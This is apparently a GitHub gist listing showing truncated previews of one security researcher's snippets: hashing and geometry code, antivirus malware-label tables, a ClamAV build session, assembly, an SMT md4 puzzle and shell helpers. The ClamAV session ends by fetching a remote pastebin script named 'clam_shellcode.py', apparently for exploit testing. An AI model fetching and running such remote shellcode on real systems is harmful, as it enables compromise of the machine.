This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import hashlib | |
import math | |
import sys | |
def keyed_digest(salt): | |
byteorder = sys.byteorder | |
m = hashlib.sha256() | |
m.update(salt) | |
def digest(r, k): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from numpy.linalg import det | |
def solve(v, v0, v1, v2): | |
"See: https://mathworld.wolfram.com/TriangleInterior.html" | |
x = (det([v, v2]) - det([v0, v2])) / det([v1, v2]) | |
y = -((det([v, v1]) - det([v0, v1])) / det([v1, v2])) | |
return x, y | |
for x, y in ([5, 2.5], [6, 2.5], [5, 12], [6, 12]): | |
a, b = solve(v=[x, y], v0 = [0, 0], v1 = [5, 10], v2 = [10, 0]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Engine | H | OS | Macro | Language | Labels | Name | Malware Family | |
================================================================================================================================================== | |
Alibaba | | Android | | | trackware | Airpush | AdDisplay:Android/Airpush.52083512 | |
Alibaba | H | Android | | | adware | Agent | AdWare:Android/Agent.fe8d701d | |
Alibaba | | Android | | | adware | Ewind | AdWare:Android/Ewind.5ee20870 | |
Alibaba | | | | | adware | CrossRider | AdWare:NSIS/CrossRider.b36e5bcf | |
Alibaba | | Windows | | | adware | 1ClickDownload | AdWare:Win32/1ClickDownload.6c036a0d | |
Alibaba | | Windows | | | adware |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# enum identifiers are sourced from https://maecproject.github.io/documentation/maec5-docs/#introduction | |
from typing import Optional | |
from enum import Enum | |
import re | |
seen = [ | |
('Alibaba', "Trojan:MacOS/eicar.com"), | |
('Alibaba', "Virus:Win32/Zatoxp.71d40539"), | |
('Alibaba', "Test:Any/EICAR.51848e83"), | |
('Alibaba', "Virus:Any/EICAR_Test_File.a4cca4b9"), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[zv@sigstkflt] ~ >> toolbox enter -c clamav | |
toolbox: container clamav not found | |
Creating toolbox container clamav instead. | |
Use the 'create' command to create a different toolbox. | |
Try 'toolbox --help' for more information. | |
⬢[zv@toolbox ~]$ sudo dnf -qy builddep clamav | |
⬢[zv@toolbox ~]$ wget https://www.clamav.net/downloads/production/clamav-0.102.0.tar.gz && tar -xvf clam* && cd clam*; | |
⬢[zv@toolbox clamav-0.102.0]$ ( CFLAGS='-Og -g -march=native' CXXFLAGS="$CFLAGS" ./configure && make -j4 ) > /dev/null | |
⬢[zv@toolbox clamav-0.102.0]$ wget http://pastebin.com/raw/cfP7X89m -O clam_shellcode.py |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0x85C4B61dDe8c2E0e164aEEfd5f319dA5Fd235d1A |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Config variable 'Py_DEBUG' is unset, Python ABI tag may be incorrect | |
Config variable 'WITH_PYMALLOC' is unset, Python ABI tag may be incorrect | |
Created temporary directory: C:\Users\POLYSW~1\AppData\Local\Temp\pip-ephem-wheel-cache-4780659q | |
Created temporary directory: C:\Users\POLYSW~1\AppData\Local\Temp\pip-req-tracker-flpl5slr | |
Created requirements tracker 'C:\\Users\\POLYSW~1\\AppData\\Local\\Temp\\pip-req-tracker-flpl5slr' | |
Created temporary directory: C:\Users\POLYSW~1\AppData\Local\Temp\pip-install-emn5o504 | |
Collecting git+https://github.com/polyswarm/ethash.git@feature/distutils-test | |
Created temporary directory: C:\Users\POLYSW~1\AppData\Local\Temp\pip-req-build-o4mbkih2 | |
Cloning https://github.com/polyswarm/ethash.git (to revision feature/distutils-test) to c:\users\polysw~1\appdata\local\temp\pip-req-build-o4mbkih2 | |
Running command git clone -q https://github.com/polyswarm/ethash.git C:\Users\POLYSW~1\AppData\Local\Temp\pip-req-build-o4mbkih2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
test: | |
.LFB0: | |
.cfi_startproc | |
push rbp | |
.cfi_def_cfa_offset 16 | |
.cfi_offset 6, -16 | |
mov rbp, rsp | |
.cfi_def_cfa_register 6 | |
mov DWORD PTR [rbp-20], edi | |
mov DWORD PTR [rbp-4], 0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(set-logic QF_BV) ; remove this line if you haven't patched z3 to incl. ext_rotate_left in QF_BV | |
(set-info :source | | |
NOiSE BRiDGE HASHSMASH KREW | |
solve md4(x) == x | |
author zv <[email protected]> | |
|) | |
(set-info :smt-lib-version 2.0) | |
(set-info :status unknown) | |
;; We are seeking a valid assignment of the 4 32-bit literals (named 'ch_$N') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/bash | |
function repeat { # $1=char $2=number of repetitions | |
local n # Repeat-print a character. | |
for (( n=0; n<$2; n++ )); do | |
echo -n "$1" | |
done | |
} |
NewerOlder